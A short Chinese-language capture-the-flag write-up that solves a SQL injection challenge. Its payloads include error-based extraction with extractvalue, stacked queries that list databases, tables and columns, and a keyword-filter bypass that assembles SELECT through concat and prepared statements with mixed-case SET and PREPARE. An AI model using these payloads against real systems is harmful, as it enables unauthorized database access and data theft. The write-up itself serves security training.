輸入1'
,發現報錯,且閉合符號為單引號
那麼我們可以嘗試報錯注入,先用order by確認回顯列數。這裡回顯列數為2
用union確認回顯位置,1 union select 1,2
,發現這些字元被過濾了,嘗試了大小寫也不行,直接猜吧。
這裡可以用報錯注入,1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
,得到當前資料庫為supersqli
之後使用堆疊注入執行命令列查詢資料庫,表,列等等。得到flag在supersqli的1919810931114514表裡,payload如下:
1';show databases;
1';show tables from supersqli;
1';show columns from `1919810931114514`;
根據前面我們知道,select關鍵詞被過濾了,大小寫也是不行的哦。這裡我們可以使用預編譯結合concat函式將語句合併,實現執行查詢
-1';set @sql=concat('sel','ect 1,2');prepare stmt from @sql;execute stmt
發現有關鍵詞匹配,不能有set和prepare,這個可以使用大小寫繞過。
-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#
得到flag